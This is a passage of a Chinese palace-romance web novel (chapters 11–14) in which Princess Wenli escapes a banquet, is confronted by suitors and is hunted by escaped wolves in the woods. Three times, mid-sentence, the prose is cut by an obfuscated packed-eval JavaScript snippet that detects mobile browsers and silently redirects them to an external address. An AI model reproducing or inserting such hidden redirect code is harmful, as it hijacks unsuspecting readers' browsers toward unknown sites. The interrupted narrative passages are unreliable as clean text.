闻梨在侍女的搀扶下出了马车,她今日穿了身烟绿罗裙,外罩杏子黄窄袖衫,清新雅致的衣裳颜色,衬得她那张未施粉黛的脸出尘脱俗,融融日光下,乌发雪肤愈发明艳动人,不光周围的世家公子移不开眼,好些个闺阁小姐也在偷偷端详,暗自较量。 底下窃窃私语响起: “闻梨公主以前长这样?我怎么不记得了?” “她以前面黄肌瘦,又不会打扮,现在长开了,果真是个美人,难怪临王对她念念不忘,听说临王为了娶她当侧妃,挨了五十鞭了!” “既然喜欢她,为何不退了与王家的婚事,娶公主为正妻呢?” 另有一人插话道:“你们说得都不对!是闻梨公主先看上临王,但临王已经订亲,公主宁愿作侧妃,也要嫁给临王。” “公主要是选我作驸马该多好,我愿意终生不娶侧室不纳妾!” 国公爷闷声咳嗽,好在来客皆是熟人,都识趣地闭上嘴,不过众宾客心照不宣加快脚步,卯足劲往府里挤,想要亲眼目睹二女争夫的戏码。 一位是高不可攀的公主,却要给人作侧妃,而另一位是人微言轻的氏族小姐,运气好当正妃,两者相逢,不知哪边的手段略胜一筹,倘若真打起来,临王会选择帮谁? 国公夫人为人敦厚和善,一边领着闻梨往席面上走,一边宽慰道:“公主不必在意那些流言蜚语,王家小姐不与公主们同席,一般情况下是见不到的。” 闻梨倒不在乎这个,等开席后,她会想办法甩开清霜和翠玉,试着瞧能不能找机会逃走。 国公府今日举办的虽是诗宴,但满玉京城真正爱作诗的也就那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178238|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几位,多是上了年纪的老学究,年轻人闲不住,国公爷便又在园中搭建戏台,蹴鞠、骑射、驯兽、琴坊、书斋等乐子。 国公夫人将闻梨送到席上,便又接着去忙了。 沁芸望着姗姗来迟的闻梨,又开始不爽地找茬,一会儿提她为人侧室,一会儿又暗指她与临王不清不白。 同席坐着好几个公主、郡主,皆不敢说什么,只各自喝茶看戏。 闻梨全然未放在心上,吃喝不误,再次被无视的沁芸彻底歇了心思,转头便令侍女去打听沈表兄可有来赴宴,静绒的目光却一直落在闻梨身上。 隔了一会儿,静绒坐过来与闻梨搭话,“皇姐受封,我还没送过贺礼,这香袋是我亲手缝制,有驱虫的功效,还望皇姐莫嫌针线粗笨。” 望着静绒递来的香袋,闻梨没接,口中只道:“多谢皇妹好意,但我用不着这个。” 静绒讷讷收回手,却不小心打翻桌上的碗碟,醋汁撒落在闻梨裙子上。 静绒手脚无措,几乎要哭出声了,“皇姐对、对不起!我不是故意的,我的侍女备了两套新的衣裙,皇姐先去净房换上吧?” “不必了。”闻梨低头擦着裙边的污渍,越擦越明显,只好让翠玉去马车里取自己的衣裙来,毕竟别人的衣服没有内袋,她一身的金叶子要往哪里藏? 静绒为表示歉意,吩咐自己的侍女跟着翠玉一起去,又称知道净房在哪里,想带闻梨过去换衣服。 闻梨只好先去净室等着,但没让清霜跟进净房伺候,只吩咐清霜看着门,别让人误闯进来,坏她名节。 闻梨在净房转了转,发现后窗是可以打开的,就这么跑了虽说有点对不住清霜和翠玉,但机会难得,下次不知何时才能出宫,又恰好有独处的时机。 闻梨犹豫片刻,翻窗逃了,这次有钱财傍身,她想好了,先去集市上雇辆马车,逃出玉京城的势力范围,再做打算。 可闻梨没料到国公府京郊别苑里的园子如此大,比谢陵的王府还要大四五倍,听说还有两座山头也算在里面,她在园子里绕了半个时辰,一直没能找到侧门入口。 穿过长长的水榭,一扇月洞门后,山坡上盛开的海棠花林映入她眼帘,清风从云湖水面吹来,浮浮沉沉的花面宛若湖水里的涟漪,在日光的照耀里荡漾着,流光溢彩。 闻梨不自觉停下脚步,静静观赏了一会儿,无意间听到海棠花林里传来一阵哭声,还夹杂着浅浅的交谈声,其中有道声音甚是耳熟。 闻梨心中好奇,想要一探究竟,沿着山间小径步行了数十步,瞧见了海棠花树下并肩而立的两道身影。 是一男一女,男子背对着她,看不清相貌,只瞧着身量颇高,背影与谢陵有几分相似,男子身旁的那位姑娘生了副极清丽的容貌,此时却眼圈通红,眼泪顺着脸颊滑落,双手紧紧攥住帕子。 “谢家哥哥对不起,是我哭了的缘故,父亲才想退婚事,不过父亲那里我已经说清楚了,不退婚,我愿意与公主一同侍奉谢家哥哥。” 此时有一阵微风从二人身边吹过,海棠花瓣落在了姑娘的发间,男子缓缓抬手,想替姑娘摘下发间的花瓣,姑娘娇羞低头。 瞧见如此温情的一幕,闻梨悄然退后,不想打扰二人的幽会,岂料不知从何处弹来一阵疾风,竟拍断她头顶的海棠花枝,枝干落下来,险些砸在她脑袋上。 赶在谢陵回头之前,闻梨仓皇而逃。 12. 第十二章 闻梨惊魂未定,没想到会在这种情况下撞见谢陵与佳人幽会,往年别的皇子去江北巡营,少说也要一个月,谢陵这么快赶回来,是为了哄刚才那位姑娘开心? 莫非那姑娘就是他的心上人? 闻梨心道,这临王还真是两副面孔,在心上人面前便装得温柔体贴,一副正人君子的做派,在旁人面前就变得倨傲绝情,还惯会捉弄人,可怜那王家姑娘,恐怕也被他的表面迷惑了。 没留神前方来人,闻梨再抬头看路时,恰与来人的目光撞上,这人看着有点眼熟,待她认出来人,心瞬间收紧,不自觉停下脚步,一脸谨慎望着来人。 瞧沈迟的神情,彷佛并不意外在这偏僻之地遇见闻梨,他的眼眸深邃,带着某种天生的警敏,望向闻梨的眼神透着股探究之意。 “上次一别已有半月,不知公主可养好了身子?” 闻梨稳住心神,镇定道:“我很好,多谢沈公子挂念。”她说完便想走,不愿与此人有过多牵扯。 二人皆没注意到,假山后闪过一道敏捷的身影。 沈迟从怀里掏出一支金簪,“公主请留步,臣捡到一样东西,想问公主是否识得此物?” 闻梨瞧见金簪的那一刹那,浑身都在发抖,她没有忘记那天邑王是如何把她压在身下,而她又是如何拿金簪刺向邑王,血溅在她脸上的窒息感,一直藏在她的记忆深处,午夜梦回,她时常被那滩血惊醒。 沈迟在观察闻梨的反应,“这是从邑王的船上找到的,臣查过宫中的赏赐名录,这支金簪是虞妃的遗物,虞妃死后,金簪不翼而飞,凤栖宫的宫女说,曾在公主的寝殿见过这支金簪。” 闻梨僵在原地,那日的恐惧与绝望再次涌上心头,嗓子干涩发紧:“是我亡母的遗物,但不知何时丢失了,能否请沈公子还给我留个念想。” 沈迟话锋一转:“臣还有另一件事要告诉公主,邑王的尸首已经找到,的确是被人替换了,命案很快便能水落石出,真凶迟早会被臣捉住,案子破了,金簪自然会物归原主。” 闻梨不再说话,手指在袖中攥得发白。 沈迟步步紧逼,开门见山道:“公主那晚在邑王船上对吧?杀害邑王的真凶,公主是否看到了?倘若公主愿意出面作证,臣保证,不会让任何人伤害到公主,哪怕对方是如今风头正盛的临王。” 听了此话,闻梨心下镇定了几分,原来沈迟在说谎,他并没找到邑王的尸首,刚才是在诈她的话,听沈迟话里话外的意思,似乎认定是谢陵杀了邑王。 谢陵帮自己隐瞒真相,她还没傻到要出卖谢陵,不过看沈迟如此在意邑王的死因,也许能利用此事做个交换。 闻梨敛下双眸,声音透着几分无奈:“沈公子为何如此审问我,你明知道我孤立无援,如何斗得过那个人?” 沈迟迫不及待追问:“那个人究竟是谁?” 闻梨闭口不言,视线却落向远处,有两三个人从水榭亭子旁走过。 沈迟也瞧见了,情急之下,隔着衣袖,拉起闻梨的手腕,将人带到了墙角边上,松开手道:“得罪了,这里没人,公主可以放心说。” 不知是不是错觉,闻梨总觉得后背有双幽幽的目光盯着自己,犹豫片刻,她看向沈迟,“沈公子先前说,愿意护我周全,此话当真?” 沈迟:“臣绝不食言。” 闻梨下定决心:“那好,条件很简单,你现在找辆马车,送我离开玉京城,我就告诉你杀害邑王的凶手是谁。” 正当此时,忽如其来的一道声音,打断二人的谈话。 “你们在这里做什么?”沁芸撇着嘴,不可思议地望着眼前的二人,孤男寡女,在这偏僻的角落,又靠得如此近,孤男是她芳心暗许的表兄,寡女是她讨厌的皇姐。 沈迟没想到沁芸会在此出现,与闻梨的交易之事不便再谈下去,只道:“公主所言,臣会考虑的。”说罢便径直走了。 沁芸眼巴巴瞅着沈迟离去的背影,心里很不是滋味,表兄一向待自己便如此冷淡,本以为他就是这样的人,可今天却发现他对闻梨很不一样。 心酸之余,沁芸没忘记找闻梨麻烦,她怒气冲冲看向闻梨,口不择言道:“你勾搭完临王,现在又来招惹我表兄,别以为我不知道你与临王的婚事是怎么来的,再来纠缠我表兄,我就把你爬床的事宣扬出去,让世人都知道你的真面目!” 闻梨从前待在凤栖宫,没少被沁芸欺负,从前不敢还手,现在不必顾忌沈皇后,自然不会再忍气吞声让着沁芸。 “好啊,那就都宣扬出去,反正我什么也不怕,倒是沈皇后该担心一下,毕竟是她把我送去临王枕边的。” 沁芸愣住,“你胡说!你自己勾三搭四也就算了,竟然还敢攀污我母后?” 没等闻梨开口,假山后走来一道修长的身影,小小的墙角今天也算热闹了一回。 “公主还请谨言慎行,倘若谁坏了本王未婚妻名节,本王必定睚眦必报。”谢陵抱着手,神色冷峻,言语里充斥着几分漫不经心。 沁芸气得跺脚,“你们都是一伙的!给我走着瞧。” 闻梨暗道不妙,也想跟着沁芸走,不料双肩一沉,谢陵竟明目张胆从后边将闻梨抱住,呼吸贴近她耳边,低语道:“跑什么,我还能吃了你不成?” 闻梨耳根在发烫,推不开谢陵的手,又不敢声张,唯恐沁芸回头,或者被别人瞧见这耳鬓厮磨的一幕。 “王爷怎么偷听别人讲话?” 谢陵轻轻抚弄了下闻梨的耳垂,“公主刚才不也在偷看本王吗?” 这亲昵的动作,加上他那副幽怨的口吻,激得闻梨打了个哆嗦,趁他抬手的工夫,从他胳膊下溜走。 闻梨装作一脸歉然:“无意撞见王爷幽会佳人,没打扰二位兴致吧?” 谢陵笑而不语,凝眸打量着眼前人,绿衫娇俏,她的身形丰腴了不少,脸也圆润了一些,气色不错,眼眸比从前更亮,雪肤衬得她那双红唇,像是阳光下的琥珀,丰盈饱满有光泽。 再加上她这一脸无辜的神情,若非刚才在假山后听到她与沈迟的谈话,谢陵甚至怀疑自己,没准真会被她这副面孔所骗。 谢陵欺身上前,仗着身量高,把闻梨抵进逼仄的墙角,一手环绕在她腰间,另一只手挟住她的下颌,缓慢抬起,俯身贴近她的唇,却没有亲她,反而用冷冽的声音道: “公主是不是太不把本王当回事了?你真的以为,沈迟能护得住你?本王再来晚些,你也许就被他套了话,倘若他知道真相,他会放你离京吗?” 闻梨一时语塞,假装看山外边的风景,“我没想告诉他真相,是他一直追问我,我嫌烦,想给他假消息唔……” 唇被堵住,闻梨说不了话,被迫抬脸迎上一阵强硬霸道的吻,这吻来势汹汹,又以绵延不绝之势长/驱/直/入,吻得她喘不过气,感觉自己差点憋死在谢陵手上。 她只好狠狠咬了下谢陵的唇,鲜血弥漫,才教沉迷其中的某人松口。 “我不会再见他了。” “真的?” 谢陵直起身,眼眸腥红,将她望住,用威胁的口吻道:“本王不喜欢自己的东西被别人惦记,也用不着别人来护着你,你信我,以后不会让任何人欺负你。” 闻梨眨下眼,脑海中浮现一句很合时宜的话:只有狗才会把自己的骨头藏起来,不许别人惦记。 她擦擦唇边的痕迹,“那我的簪子,还在沈迟手里。” “我帮你拿回来。”谢陵伸手替闻梨拨弄不整的衣衫,“你先回去,我过会儿再离开,以免被人误会。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178239|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻梨眼睛不眨地看着谢陵那双手,心里腾起一种异样的感觉,小时候母妃也是这样帮她整理衣裳,她忽然间发现,抛开谢陵这恶劣的性格,相貌能力没得挑,跟着他未必会过得很惨。 但她一开始就没想只做一个依附于他的侧室,也厌倦了尔虞我诈的日子,倘若有一天真要嫁人,她想寻一个心里只装得下她一人的男子,简简单单便是最好。 闻梨回到净房,清霜与翠玉已找了她多时,见她归来,二人也没多问,服侍她换下沾了污渍的衣裙。 再次回到席上,席间似乎多了好些人,闻梨发现自己的位置已有人坐,仔细看是刚才在海棠树下抹泪的姑娘,那姑娘一见着她,慌忙起身,朝她盈盈一拜。 “臣女王若楚拜见公主。” 这姑娘果然是谢陵的那位心上人,闻梨微微颔首,正要重新寻个位置坐下,不料一旁的沁芸故意挑事道:“王姑娘有所不知,你坐的位置是我皇姐的。” 王若楚愕然睁眼,有些不知所措,方才明明是沁芸公主强摁她坐在这里,还说离得近方便说话,否则她怎敢占闻梨公主的位置。 闻梨心知沁芸不怀好意,便看向王若楚,“无碍,沁芸话多,我嫌烦,正好换个清净位置。” 沁芸拍桌而起,一时忘了公主的自我修养,惊得一众公主、贵女纷纷抬头,场面登时冷下来。 静绒在一旁悄悄扯了扯沁芸的衣袖,沁芸这才气呼呼坐下,继续挑拨离间道:“亏皇姐沉得住气,堂堂天家公主,竟比不过一个五品小官的女儿,正妃位置被人抢走,坐席也被人抢去,皇姐就不想出这口恶气吗?” 王若楚神色慌张,赶忙跪下自辩:“臣女不敢与公主争什么,婚事皆是由家父做主,倘若临王同意,臣女愿意让出正妃之位。” 坦诚而言,当王若楚得知谢家哥哥要娶公主时,也曾躲在被窝里流了好几日眼泪,难以接受即将与别人共侍一夫。 可世间又有几个男子能像爹爹这般,一生只钟情于一人?爹爹说,若不愿受委屈,就退了这门亲事。可她不想退,她从小就喜欢谢陵,守了这么多年,终于等到他回来娶她,既然改变不了,就只能接受。 她试图说服自己,谢家哥哥位高权重,娶了公主便能更上一层楼,她应该大度点,做他身后可靠之人,而不是绊住他的脚,让他左右为难。 日子三个人也能照过,未来也许会有四个、五个,甚至会更多。 众女皆等着看闻梨公主如何出这口恶气,连王若楚也深埋着脑袋,等着承受公主的怒火,然而她没等来想象中的训斥,胳膊忽而被人扶住,将她从地面拉起来。 “王姑娘说得对,婚姻之事本就由父母做主,沁芸皇妹倘若有疑问,可以自己去问父皇,不要平白拿别人撒气。”闻梨冷冷说罢,又转头看向王若楚,语气柔和下来:“我见那边海棠花开得好,王姑娘不如陪我去摘几朵?” 王若楚迟疑一瞬,心中明白闻梨公主是在给自己解围,便朝众人微微欠身,跟着闻梨公主离开此间。 没有想象中二女争夫的戏码,众女看得不够尽兴,她们本就是被沁芸叫去看热闹的,眼下没热闹凑,又见沁芸公主绷紧着脸,面色十分难看,便都各自找借口回自己的坐席。 场上只剩下原有的几位公主、郡主们面面相觑,安静喝茶。 见人都散了,沁芸也失去争强好胜的心气,闷闷不乐地抚弄着桌上的茶盏。 一直没说话的静绒却在此时站出来,朝沁芸安抚道:“皇姐别气恼了,听说猎场那边很是热闹,好戏还在后头,想不想去瞧瞧?” 沁芸没什么兴致,刚要拒绝,却听到静绒用最平静的语气说出令人心里发怵的话。 “皇姐就不想亲眼去看看,得罪你的人会有什么下场?” 13. 第十三章 谢陵回到男客的席上,一旁的陆回见谢陵的神情比离开时愉悦些许,便凑过来好奇道:“王爷这么快回来,王家那边可有提退亲之事?” 谢陵从容不迫先喝口茶,故意停顿好一会儿,才不紧不慢道:“与王家的婚事照旧。” 陆回满饮一口酒,用感慨的语气笑道:“果真如军师所言,凭王爷的相貌与风度,一次娶十个也应付得过来,幸好王家那边没退亲,否则还不知谢侯爷会如何惩罚王爷。” 陆回口中所言的谢侯,指的是谢陵的二叔谢宗,当年谢家遭难时,谢宗还只是个小小的校尉,侥幸活了下来,后来在那场宫变中,带着部下救了晋祐帝,被封为静北侯,这些年一直驻守在漠北。 陆回与谢陵相识已有十年,这些年,谢侯爷对谢陵的种种严苛要求,陆回都看在眼里,尽管谢陵已经很努力,十五岁便能杀敌数千,但仍然比不上谢侯爷的期许。 换做陆回自己,铁定熬不住这么久,每当陆回替好友打抱不平,却只换来谢陵一句话:叔父多年来的教养之恩不可辜负。 是以谢陵更加勤奋的练武,一次次诱敌深入,以少敌多不知赢了多少场战事,受了多少次重伤,才换来谢侯一句夸赞。 谢侯的手段,陆回是见识过的,倘若这次因为娶闻梨公主丢了与王家的婚事,不仅谢陵会受罚,恐怕闻梨公主连性命都保不住。 想到此,陆回幽幽叹道:“王爷就算再不愿意娶王家姑娘,面上好歹要说得过去,这次是哄好了,下次可就难说了,末将在这些方面一点忙也帮不上。” 谢陵沉下眼眸,这次难得没有嫌陆回话多,凝思片刻道:“我知道了。” 与此同时,镇国公爷笑容满面踏进席间,招呼各位宾客去猎场看斗兽。 陆回见谢陵眉间略有疑惑,解释道:“王爷方才不在场,镇国公爷新得了十几匹雪狼,说要办一场斗兽宴,几位皇子王爷可以任选一只狼犬,听说头筹是一件御赐的黄金甲,稀罕着呢,王爷要不要去试试?” 谢陵应声说好,叔父的生辰就快到了,若能得一件刀枪不入的锁子甲送去,想必叔父也会高兴。 二人来到猎场时,看台上已经座无虚席,台下更是挤满了人,连国公府的一干奴仆杂役也都来凑热闹,围栏内趴着十几只通体雪白的狼犬,皆张着獠牙,虎视眈眈盯着围栏外的人。 谢陵的席位与众皇子、公主在一处,此处地势高,能将整个猎场,甚至是猎场后林子里的情形尽收眼底,余光不经意间掠过几位公主的坐席,谢陵发现还空着一个,闻梨没有来。 入座后,国公爷派小厮给众皇子、公主以及王爷挑选木牌,木牌上的数目与雪狼一一对应,闻梨没来,送牌子的小厮绕过坐席,往下分发,可到了末席,不仅没多,还少了一只木牌。 每支木牌都是现从雪狼脖颈取下来的,如此看来少了两只雪狼,公国爷立刻将负责看管狼犬的主事叫来,那主事颤巍巍说,午间喂食时,明明还有十六只,临开场前却无缘无故少了两只。 国公爷赶忙吩咐下人们赶快去找,丢了两只雪狼不要紧,若是冲撞到贵人,那就麻烦了。 谢陵侧头,吩咐身边的风浅去查闻梨的行踪,一炷香过后,风浅回来了,回禀说没找到闻梨公主的下落,但是瞧见闻梨公主身边的婢女,带着殿前司萧禹和一队禁军,神色慌张进了后山林。 谢陵闻言,随即起身下了看台,往风浅所指的林子疾步行去。 不远处的静绒将这一切都看在眼底,她不慌不忙拿起一块糕点,放进嘴里吃着,一旁的沁芸将信将疑坐着,眼睛东瞅西望,也在人群中寻找闻梨的身影。 —— 半个时辰前,闻梨带着王若楚离开坐席,原是想替王姑娘解围,并非真要去摘花,没想到王姑娘主动提出要陪闻梨逛一逛园子。 闻梨思索少顷,闲着也是无聊,又不想回去与沁芸斗气,便同意了。 “臣女多谢公主方才的解围之恩。” 之前没细看,闻梨趁此机会端量王若楚,美人玉肌凝脂,眼眸盈若春水,身上的气质温和而内敛,颇有股书香韵味,尤其是那双葱白似的柔荑,生得极美,看起来很会拿笔的样子。 一看便知是深闺里娇养起来、没经历过什么蹉跎的矜贵小姐。 闻梨收回打量的视线,“你是受我连累,才会被沁芸为难,再过半月,兴许就不会有人找你麻烦了。” 王若楚以为闻梨公主说的是成亲之事,便道:“臣女刚才所言不虚,论家世品貌,公主远在臣女之上,若非因为儿时的婚约,想来临王也不会选臣女为王妃。” 看着王姑娘没什么自信的样子,闻梨不免多说了一句:“王姑娘不必妄自菲薄,你有你的好处,不用管旁人怎么说。” 其实闻梨倒挺羡慕王姑娘,身居高位未必是件好事,权势能把人捧得很高,也能让人跌进尘泥,终世不得自由。 而且,看谢陵对王姑娘如此上心,不远万里回来娶她,哪怕在外巡营也要赶回来哄她,想必婚后也会爱她敬她,她拥有很多人的爱,才会出落得如此温婉纯真。 王若楚也在偷偷打量闻梨,发现这位公主与印象中很不一样,年岁比自己小,却总是一副看透世俗的淡然,她有点好奇,公主的内心会是什么样的?还是生来便如此? 二人聊了两句,渐渐熟络了些,王若楚一边逛园子,一边介绍很多花卉的品名、寓意,引经据典说了不少有趣的诗句。 闻梨在一旁听着,眼前的王姑娘一开始脸上带着几分羞赧,说起奇花异草来,整个人身上有种鲜活热烈的气息。 连带着闻梨心底也有几分触动,那些原本在她眼里一动不动的草木,似乎也有了某种乐趣。 闻梨听得认真,王若楚忽而很不好意思笑道:“是臣女失言了,叨扰了公主的耳根,臣女自小如此,说起来就没完没了,连爹娘也总是笑话臣女。” “没事,我喜欢听这些。”闻梨心中有些酸涩,王姑娘果然拥有很多的爱。 王若楚莞尔一笑,又说起了父母亲如何恩爱,说起夏天的时候,她与堂姐妹们一起泛舟采莲,冬天踏雪寻梅,一年四季有很多乐子。 闻梨想的却是,夏天被沈皇后罚禁闭,暗室里长虱子的被褥,还有老鼠来啃食她的头发、脚趾、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178240|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指,冬天在雪地里罚跪,到现在每逢阴雨天气,她的双膝便会如有虫蚁在啃食一般疼。 还有刚被母妃扔下、关在冷宫的那段日子,年仅六岁的她,身边的亲近者全在一夜间消失,每逢有月亮的夜晚,她跪在门边朝老天祈愿,希望母妃回来接她,希望父皇来看自己一眼。 可是这些愿望都没有实现,那巨大而深沉的夜幕,时刻在吞噬她,包围着她,渐渐成了日常的全部。 午后的阳光暖融融的,冷风从幽静的丛林吹来,激得一直跟在后边的翠玉不禁打了个冷颤,搓着胳膊回头看了一眼,小声同身边的清霜道:“你有没有听见什么声音?” 清霜也顺着翠玉的视线望了一眼,什么也没发现,“许是树上有鸟。” 话音未落,丛林里猛然窜出一只黑影,吓得两人登时僵在原地,在翠玉看清雪狼的同时,那雪狼似发狂一般扑向翠玉,张开獠牙一口咬住翠玉的半边手臂,拖着翠玉整个人往林子里钻去。 清霜和王若楚的侍女就走在翠玉身边,亲眼目睹了狼把人叼走的整个过程,瞬间吓得脸色灰白,双脚发软,尤其是王若楚的侍女直接跌坐在地。 在翠玉发出惊呼之时,前边的闻梨与王若楚也都回头,瞧见了这令人心惊胆颤的一幕,若非地面的鲜血和消失的翠玉提醒着几人,她们甚至怀疑是不是自己看错了,国公府后山怎么会有狼? 闻梨率先回过神来,狼犬叼走翠玉,随时可能回来继续伤人,她颤声喊道:“我们快离开这,清霜把人扶起来。” 清霜听话地把侍女扶起来,另一边,王若楚虽没被吓得跌坐,但双腿不听使唤,一步也走不动,闻梨便伸手扶着她,“别紧张,试着挪步看看。” 四人就这般互相搀扶,踉跄跌撞往山坡下回去。 令四人没想到的是,去而复返的狼犬竟然这么快追上来,而它这次扑向的对象是闻梨与王若楚,眼看那恶狼的獠牙即将穿破二人的身体,情急之下,闻梨抱着王若楚从山坡下滚落,避开了恶狼的一击。 那恶狼扑了个空,又见猎物滚落山坡,急得打转,尝试往山坡下追去,不料路滑,竟一路滚到坡底,随后钻进丛林不知去向。 闻梨一手拉住王若楚的胳膊,一手抓紧坡面的石头,勉强稳住身子,才没有随着狼犬滚落坡地,暂时保住了性命。 “公主!奴婢下来救你。”清霜松开侍女,想往坡面滑下去,却被闻梨制止。 “那狼犬不知何时会回来,上边也不安全,清霜你速去找萧将军,快去。” 清霜见状,便只好与侍女先下山,从后山林出来,她扔下已经吓傻了的侍女,头也不回地往前院跑去,找来了萧禹。 当清霜带着萧禹和一众禁军赶到出事的山坡上,那里早已没了二人的身影,只留下干涸的血迹,血迹沿着山坡往下,延伸进附近的山林。 与此同时,谢陵也赶来了,得知了事情的经过,他先查验半坡的那滩血迹,发现不是人血,心中稍稍安定,观察血迹与脚印的走向,狼犬先是进了北边的山林,随即又折返回来,往南边的林子里去了。 不好!她二人有危险。 14. 第十四章 清霜走后没多久,闻梨便有些撑不住了,她高估了自己的体力,压根撑不住两个人的重量,两人的身子在一点点往下滑。 王若楚浑身瘫软,身边也没有借力点,自知无法减轻闻梨公主的负担,眼泪婆娑道:“公主放手吧,再这么下去,我们两个都会掉下去。” 闻梨咬紧牙根,“别说丧气话,你要是出事了,临王肯定会很伤心的。” 闻梨心想道,谢陵那人阴晴不定,又生性多疑,肯定会怀疑是她害了他心上人,没准会像第一次见面那般扼紧她的脖颈,杀了她替心上人报仇。 王若楚实在支撑不住了,一度想要松手,却被闻梨死死攥住,不料下一瞬,陷进泥里的指甲骤然断裂,手指从石头缝隙滑落,与王若楚一齐滚下山坡。 缓了好一会,闻梨才从地上爬起来,身上只是蹭破了一点皮,没什么大碍,一旁的王若楚呼痛出声,她扭伤了脚,现下更没法站起来。 望着那道延伸至山林的血迹,闻梨在王若楚身前蹲下,“我来背你,那只狼犬也受伤了,兴许跑不远,我们不能留在这里,找找看有没有能绕出去的路。” 王若楚垂眸,语气低落道:“是臣女连累了公主。” 二人身量差不多高,闻梨费力将王若楚背起来,朝着血迹的反方向走去。 天色渐晚,起初闻梨还跟着落日走,日头下山后,闻梨完全迷失了方向,王若楚虽常出京游玩,但每次都有奴仆带路,她也不记路,二人绕半天,竟又回到刚才路过的青松树底下。 闻梨已经精疲力尽,手脚都在发抖,险些一步跪在地上,好在她及时扶住身边的树干,才不教二人摔个狗啃泥。 “公主放臣女下来吧。” 闻梨只得松手,靠坐在树干边歇气,望着天色逐渐变黑,心中的希望也在一点点磨灭,倘若今晚不出去,肯定会被狼找到,想到翠玉临死前的惨状,她遍体生寒。 王若楚也沉默着,不过她的心里倒是还藏着一点期许,谢家哥哥那么聪明,肯定会赶来救她们,只要再撑些时辰,就能获救。 王若楚抬头看向闻梨,鼓励的话到了嘴边,却又咽下了,她分明瞧见闻梨公主在无声息地抹眼泪,说起来闻梨公主只比自己还小一岁,夜晚困在深林里,怎么可能不害怕呢? 王若楚握住闻梨的手,什么话都没说,默默陪伴着闻梨。 耳边传来悉悉索索的异动,闻梨当即绷紧身子,捡起脚边的石块,紧张地盯着异声传来的方向,一道高大的黑影朝二人移来。 王若楚害怕得闭眼,手紧紧拉着闻梨,闻梨在黑影靠近的一瞬间,使出浑身力气朝黑影掷出石块,竟被其敏捷躲开。 见偷袭失败,闻梨拉着王若楚便要跑,却被身后那黑影出声唤住。 “是我。”谢陵的声音不大不小传进二人耳里,在这幽深僻静的深林里,这道低沉磁性的声音显得格外温暖。 王若楚终于等来了自己的谢家哥哥,憋了一天的情绪在此刻爆发,一边呜咽着,一边瘸着腿走向谢陵。 闻梨此刻倒冷静的许多,站在原地,抱着双臂静静看向谢陵,思绪紧绷过后,身子会过度松弛,她的手脚仍在止不住地发抖,甚至后背还在发冷汗。 瞧见王姑娘扑倒进谢陵怀里的那一刻,闻梨不自觉抬头,看天上的新月,孤零零地悬在夜空中,月色本就惨淡,又很快被飘来的浮云遮住,现在她连月亮也没得瞧了。 谢陵扶住王若楚站稳,视线却先落向后边站着的闻梨,“公主可有哪里受伤?” 夜幕下的闻梨形单影只,愈发显得寂寥,她垂下眼睫,让人看不清她眼中的情绪,慢慢开了口:“我没事。” “别动!”谢陵神色一紧,松开王若楚,以极快的速度掠过闻梨身旁,赤手空拳将潜伏在闻梨身后的恶狼拧断了脖子。 原来那恶狼早就潜伏在二人身边,只因受了伤,不敢贸然出击,一直在观察猎物的动向,只待猎物放松警惕,便会瞬间出击。 再一次从死亡的边缘走了一遭,闻梨今天算是吓得够呛,不由自主蹲地,极力克制发抖的身子。 另一边,王若楚被谢陵推开后,也跌坐在地上,尽管如此,也没忘朝谢陵道:“是公主背着我走到这来的,公主也没力气了,谢家哥哥先送公主出去吧?” 一个扭伤了脚,另一个体力不支,无论是哪一个留在原地都不安全,谢陵头一回犯了难,不知该先抱谁出去,他总算有点体会到沈迟说的那句话:不知王爷护得住哪一个? 其实王若楚是藏了私心的,虽然嘴上说着,希望谢家哥哥先送公主,可她还在心里期盼,谢家哥哥不会扔下她不管,但公主又救过自己,两难之下,不管谢家哥哥怎么选,她都不会计较。 谢陵犹豫片刻,最终做了选择,他将目光投向闻梨,神色复杂问道:“公主还能走路吗?” 闻梨缓了好一阵,强撑着从地上站起来,虚弱道:“我可以跟在你们身后,走慢点就行。” 谢陵压下心头难以言明的情绪,给闻梨捡了一根趁手的树枝,随后转身走向王若楚,将她抱起,又回头看一眼面色苍白的闻梨,声音里带了几分喑哑:“走吧。” 闻梨撑着树枝,勉强能跟上,谢陵也放缓脚步,不时回头瞧闻梨是否跟上。 王若楚被谢陵抱在怀里,一脸难为情,羞涩地靠在他身上,虽然扭伤了脚,可心里却觉得十分甜蜜,难得能与谢家哥哥贴得如此近。 三人走了约莫半炷香时间,闻梨手中撑着的树枝骤然断裂,猝不及防摔在地上,脑袋撞上石头,撞得她头昏眼花,头疼欲裂,再次抬眼时,却发现眼前没人了。 